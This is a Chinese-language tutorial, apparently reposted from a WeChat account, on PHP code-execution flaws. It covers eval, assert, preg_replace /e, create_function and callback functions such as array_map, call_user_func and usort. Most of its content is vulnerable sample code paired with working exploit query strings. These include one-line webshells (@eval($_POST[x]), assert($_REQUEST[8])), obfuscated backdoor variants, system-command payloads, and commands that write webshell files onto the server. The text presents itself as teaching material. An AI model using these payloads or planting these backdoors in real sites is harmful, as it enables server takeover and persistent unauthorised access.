copy 自 公众号:PHP大神
一、 漏洞产生的原因

PHP脚本语言简洁,方便,但也与此同时伴随着一些问题,在web程序中,有时候程序员为了代码的灵活性与简洁性,会适当调用代码执行的函数执行。但由于没有充分考虑到用户是否会使用与控制,最终导致web应用存在代码执行漏洞。

二、 漏洞产生的常见函数

1、eval()
eval(phpcode)
eval() —— 把字符串按照 PHP 代码来计算。

(1) 直接利用漏洞源码:

  1. <?php
  2. $data = $_GET['data'];
  3. eval("\$ret = $data;");
  4. echo $ret;
  5. ?>

漏洞利用:?data=phpinfo()

(2)闭合绕过

  • 例子1: ```

<?php $data = $_GET[‘data’]; eval(“\$ret = \”$data\”;”); echo $ret; ?>

漏洞利用:

- ?data=";phpinfo();")//
- ?data=${phpinfo()}(php版本5.5及以上)
- ?data=");@eval($_POST[x]);//

- 例子2:

<?php $data = $_GET[‘data’]; eval(“\$ret = strtolower(‘$data’);”); ?>

漏洞利用:

- ?data=’);phpinfo();//
- ?data=’);$cmd=shell_exec(‘systeminfo’);echo “<pre>{$cmd}</pre>”;//

<br />![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643449417-3a086077-4d2a-4b9f-9b9c-9edc1ffd1f48.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u543c3b42&margin=%5Bobject%20Object%5D&originHeight=808&originWidth=1080&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u5603feb6-faac-4bb2-9a40-b47c1017a4b&title=)

- 例子3:

<?php $data = $_GET[‘data’]; eval(“\$ret = strtolower(\”$data\”);”); ?>

漏洞利用:

- ?data=");phpinfo();//
- ?data=${phpinfo()}(php版本5.5及以上)
- ?data=${@eval($_POST[x])}

**2、assert()**<br />assert — 检查一个断言是否为 false<br />ps: assert($a)只能单行执行<br />- 例子1:

<?php $aaa = “abbbsbbsbbebbrbbt”; $ccc = str_replace(‘b’,’’,$aaa); ///$ccc=”assert” $ccc($_POST[1]);

漏洞利用:



- POST方法 1=phpinfo();
- 菜刀连接

- 例子2:

利用assert写木马<br />服务器代码:

<?php assert($_REQUEST[8]); ?>

网页提交

![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643532404-6f951260-d1e7-412d-a8f3-1f276e3b1874.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=uc5ad21d3&margin=%5Bobject%20Object%5D&originHeight=229&originWidth=752&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u6d6c91c7-8c94-45e2-b8a4-972d62f1b2c&title=)

执行完后,服务器生成2.php文件

![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643532315-f2d5d450-47fc-4eb6-a0be-3d44f14abe26.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u6eb74887&margin=%5Bobject%20Object%5D&originHeight=351&originWidth=775&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=uda6dd38d-e46d-4fd3-a3fe-2c47d63bd78&title=)

<a name="lOqZb"></a>
## **3、preg_replace()+/e 模式**


正则替换函数,配合/e可产生代码执行。<br />/e 可执行模式,此为PHP专有参数,例如preg_replace函数。(php7.0以后不再支持/e修饰)

- 例子1:

<?php $pattern = “/^\d{5,11}$/ie”; $qq = ‘1231456’;
$replace = “phpinfo();”;
echo preg_replace($pattern,$replace,$qq);

正则表达式解析:匹配以数字开头的字符串,字符至少5个,最多11个。行尾一定是数字(\d 为数字类型,{5,11} 5-11个字符,$ 到行尾,后面不能再有字符)

- 例子2:(木马一句话)

<?php @preg_replace(“/abc/e”,”$_REQUEST[x]”,”abcd”); ?>

漏洞利用:?x=phpinfo();

**4、create_function() 匿名函数**

create_function ( string $args , string $code )

create_function() —— 定义一个没有名字的函数,直接用变量调用。

- 例子1:

<?php $a = create_function(‘$id’,$_REQUEST[x]); ?>

等同于

<?php a = function Anonymous($id) { $_REQUEST[x]; } ?>

漏洞利用:由于参数$a在被需要调用时才有用,因为在函数里,所以不执行。故闭合绕过函数,

- ?x=}phpinfo();// 单行注释
- ?x=}phpinfo();/* 多行注释
1. 

- 例子2:<br />由于参数$a在被需要调用时才有用,因此我们虚构一个调用函数

<?php $a = create_function(‘$id’,$_REQUEST[x]); echo $a(‘afssda’); ?>

**5、array_map() 回调函数**

array_map ( callable $callback , array $array1 [, array $… ] )

array_map() —— 回调函数,可以使用别的函数。

$o = array_map(函数,传参);

(1)函数使用示范

<?php function cube($n) { return ($n$n$n); } $a = [1,2,3,4,5]; $b = array_map(cube,$a);传入参数 var_dump($b); ?>

![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643705117-7debc3b9-b9d0-4747-90c0-82322b10e737.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=ue0e85444&margin=%5Bobject%20Object%5D&originHeight=478&originWidth=1035&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ud63bc740-b9a4-492e-96e5-0c4e799980f&title=)

<a name="YiQ6o"></a>
### (2)漏洞测试

<?php $a = [1,2,3,4,5]; $b = array_map(phpinfo(),$a); var_dump($b); ?>

<a name="D71ry"></a>
### (3)漏洞复现


- 例子1**:**

<?php $o = array_map(assert,$_REQUEST); ?>//因为会自动遍历,因此不需要写调用参数x也行。

漏洞利用:?x=phpinfo();

![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643740169-c3f276ac-24db-42f6-8539-cfc2c656b119.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u02359720&margin=%5Bobject%20Object%5D&originHeight=320&originWidth=644&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u6ffdbc57-edc6-4760-abac-ac750864541&title=)

- 例子2:(进阶骚操作)

<?php $o = array_map($_REQUEST[1],array($_REQUEST[2])); ?>

漏洞利用:?1=assert&2=phpinfo();

<a name="XrAQm"></a>
### (4)回调函数一句话木马总结

array_map(‘assert’,array($_POST[x])); array_map(\$_REQUEST[1],array(\$_REQUEST[2]));

<a name="FvycQ"></a>
### 5)补充


- 回调函数中,eval无法被调用。由于eval是执行语句,比较特殊,不被认为是函数,属于特殊写法。
- PHP中还有很多回调函数。如call_user_func()等等。



**6、call_user_func()**

call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )

call_user_func —— 第一个参数作为回调函数调用, 其余参数是回调函数的参数

<?php call_user_func($_GET[‘a1’],$_GET[‘a2’]); ?>

漏洞利用:

- ?a1=system&a2=whoami //命令执行
- ?a1=assert&a2=phpinfo() //代码执行



补充call_user_func函数使用示例:

<?php function welcome($name) { echo “hello $name
“; } call_user_func(‘welcome’, “tom”); call_user_func(‘welcome’, “jack”); //输出 hello tom hello jack ?>

**7、call_user_func_array()**

call_user_func_array ( callable $callback , array $param_arr )

call_user_func_array() —— 把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入

<?php call_user_func_array($_GET[‘a1’],$_GET[‘a2’]); ?>

漏洞利用:

- ?a1=system&a2[]=whoami
- ?a1=assert&a2[]=phpinfo()



**8、array_filter()**

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

array_filter() —— 把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变。

提示:Window中的^等同于linux的”

<?php array_filter(array($_REQUEST[1]),$_REQUEST[2]); ?>

漏洞利用:

- ?1=whoami&2=system
- ?1=^dir ..^&2=system
- ?1=^dir^&2=system
- ?1=^systeminfo^&2=system



通过上述方法,可以测试出存在代码执行漏洞。因此,注入木马

?1=^echo “<?php @eval($_POST[x]); ?>” > 3.php^&2=system

![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643835272-266c136e-2141-44b8-9ad0-8b8eb970f25e.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u0e3c7961&margin=%5Bobject%20Object%5D&originHeight=302&originWidth=1080&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=ubd86757e-8cd2-4ad0-9bce-068805cbf15&title=)

<a name="TdpAN"></a>
## **9、usort()**


usort ( array &$array , callable $value_compare_func )

usort() —— 调用用户自定义的比较函数对数组进行排序。

<?php //PHP5.2以上,PHP5.6及版本以下 //usort($_REQUEST,$_REQUEST[x]); //?1=1&2=phpinfo()&x=assert //usort($_REQUEST,”assert”);//?1=1&2=phpinfo() //usort($_REQUEST,”system”);//?1=1&2=whoami //usort($_REQUEST,”sys”.”tem”);//?1=1&2=dir usort($_REQUEST,”ass”.”ert”);//?1=1&2=$_POST[x] 我实测版本是PHP5.6 //PHP5.6及版本以上 //usort(…$_GET);//据说?1[]=test&1[]=phpinfo();&2=assert //但是实现不了 ?>

<br />![](https://cdn.nlark.com/yuque/0/2022/png/21702038/1656643852061-74784346-007c-402c-9252-09782fbe5c3f.png#clientId=ue41cf839-5048-4&crop=0&crop=0&crop=1&crop=1&from=paste&id=u8e801cc3&margin=%5Bobject%20Object%5D&originHeight=511&originWidth=1080&originalType=url&ratio=1&rotation=0&showTitle=false&status=done&style=none&taskId=u5170d16a-8a6a-454a-828e-6661380c10c&title=)

<a name="Sn1Hv"></a>
## **10、array_walk()**


array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )

array_walk —— 使用用户自定义函数对数组中的每个元素做回调处理

<?php array_walk($_GET[‘a’],$_GET[‘b’]); ?>

漏洞利用:

- ?a[]=phpinfo()&b=assert
- ?a[]=whoami&b=system



<a name="m1NSK"></a>
## **11、ob_start()**


ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

ob_start —— 打开输出控制缓冲

<?php $cmd = ‘system’;ob_start($cmd);echo “$_GET[a]”;ob_end_flush(); ?>


漏洞利用:?a=whoami

<a name="Pdgjm"></a>
## **12、动态函数**

<?php $_GET1;?> ``` 漏洞利用:

  • ?1=eval&2=$_POST[x]
  • ?1=assert&2=$_POST[x]
  • ?1=system&2=whoami
  • ?1=system&2=^echo “<?php @eval($_POST[x]); ?>” > 1.php^

本文用途只做学术交流哈,涉及违法后果自负哈